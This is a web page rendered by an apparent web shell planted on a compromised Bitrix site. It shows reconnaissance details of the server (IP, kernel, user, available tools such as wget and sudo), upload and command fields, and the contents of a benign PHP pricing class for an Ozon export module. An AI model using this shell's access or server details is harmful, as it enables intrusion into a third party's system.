403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.ozonexport/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.ozonexport/lib/Price.php
<?php
namespace Wbs24\Ozonexport;

abstract class Price
{
    use PackagingRatio;

    protected $param;
    protected $currentItem;

    function __construct($param = [], $objects = [])
    {
        $this->setParam($param);

        $this->wrappers = new \stdClass();
        $this->wrappers->CIBlockElement = $objects['CIBlockElement'] ?? new CIBlockElement();
    }

    public function setItem($item) {
        $this->currentItem = $item;
    }

    public function getPriceFromProps(array $product, array $BLOB): array
    {
        $productType = $product['TYPE'] ?: false;
        if (!$productType) return [];

        $productPriceProp = $BLOB['setPricePropsId'] ?: false;
        $offerPriceProp = $BLOB['setPricePropsOfferId'] ?: false;

        $pricePropId = ($productType == 4 ? $offerPriceProp : $productPriceProp);
        if (!$pricePropId) return [];

        $priceValue = $product['PROPERTIES'][$pricePropId]['VALUE'] ?: false;
        $priceValue = intval($priceValue);
        if (!$priceValue) return [];

        $priceArray = [
            'RESULT_PRICE' => [
                'DISCOUNT_PRICE' => $priceValue,
                'BASE_PRICE' => $priceValue,
                'CURRENCY' => 'RUB',
            ],
        ];

        return $priceArray;
    }

    public function getCustomOldPrice(array $product, array $param, array $prices): ?float
    {
        $priceValue = null;
        $oldPriceType = $param['oldPriceType'] ?? 0;
        $price = $prices['price'] ?? 0;
        $fullPrice = $prices['fullPrice'] ?? 0;

        if ($oldPriceType > 0) {
            $productId = $product['ID'] ?? false;
            if ($productId) $priceValue = $this->getProductPriceByPriceId($productId, $oldPriceType);
        } elseif ($oldPriceType == -1) {
            $priceValue = $this->getOldPriceFromProps($product, $param);
        } elseif ($oldPriceType == -2) {
            $priceValue = $fullPrice;
        }

        if ($priceValue !== null) {
            $priceValue = $this->getPriceWithPackagingRatio($priceValue);
            $priceValue = (float) $this->getVerifiedOldPrice($price, $priceValue);
        }

        return $priceValue;
    }

    protected function getProductPriceByPriceId(int $productId, int $priceId): float
    {
        $price = 0;
        $result = $this->wrappers->CIBlockElement->GetList(
            [],
            ['ID' => $productId],
            false,
            false,
            ['ID', 'IBLOCK_ID', 'PRICE_'.$priceId]
        );
        if ($fields = $result->Fetch()) {
            $price = $fields['PRICE_'.$priceId] ?? 0;
        }

        return (float) $price;
    }

    protected function getOldPriceFromProps(array $product, array $param): float
    {
        $productType = $product['TYPE'] ?: false;
        if (!$productType) return 0;

        $productPriceProp = $param['setOldPricePropsId'] ?: false;
        $offerPriceProp = $param['setOldPricePropsOfferId'] ?: false;

        $pricePropId = ($productType == 4 ? $offerPriceProp : $productPriceProp);
        if (!$pricePropId) return 0;

        $priceValue = $product['PROPERTIES'][$pricePropId]['VALUE'] ?: false;
        $priceValue = intval($priceValue);
        if (!$priceValue) return 0;

        return (float) $priceValue;
    }

    protected function getVerifiedOldPrice($price, $oldPrice)
    {
        if ($price <= 10000) {
            if ($price * 1.05 >= $oldPrice) {
                $oldPrice = 0;
            }
        } else {
            if ($price + 500 >= $oldPrice) {
                $oldPrice = 0;
            }
        }

        return $oldPrice;
    }

    public function setParam($param)
    {
        foreach ($param as $name => $value) {
            $this->param[$name] = $value;
        }
    }

    public function getParam()
    {
        return $this->param;
    }

    abstract public function getPrice($minPrice, $basePrice);

    abstract public function getOldPrice($minPrice, $basePrice);

    public function getPremiumPrice($minPrice, $basePrice)
    {
        return false;
    }

    public function getMinPrice($minPrice, $basePrice)
    {
        return 0;
    }

    public function validateMinPrice($minPrice, $newMinPrice)
    {
        $firstCheck = $newMinPrice < $minPrice;
        $secondCheck = $newMinPrice > round(($minPrice / 2));

        return $firstCheck && $secondCheck;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit